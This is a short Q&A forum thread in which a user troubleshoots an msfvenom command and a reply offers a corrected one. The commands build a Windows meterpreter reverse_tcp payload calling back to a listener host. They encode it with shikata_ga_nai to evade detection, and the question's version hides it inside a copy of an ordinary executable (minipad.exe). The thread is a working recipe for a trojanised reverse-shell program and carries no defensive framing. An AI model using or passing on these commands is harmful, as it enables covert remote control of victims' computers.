RJ7
RJ7

Reputation: 1

ERROR: you must select an arch for a custom payload

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8


Attempting to read payload from STDIN...

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 299 bytes

Error: You must select an arch for a custom payload

The Architecture has been specified, yet the error persists

Any help??

Upvotes: 0

Views: 37575

Answers (1)

Abby Fiz
Abby Fiz

Reputation: 11

IN kali linux 2.0 sana it necessary to provide information based on following formate

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe

it is nessaary to specify the encoding type in kali 2.0

now run the code
change window.exe with location you deserve

Upvotes: 1

Related Questions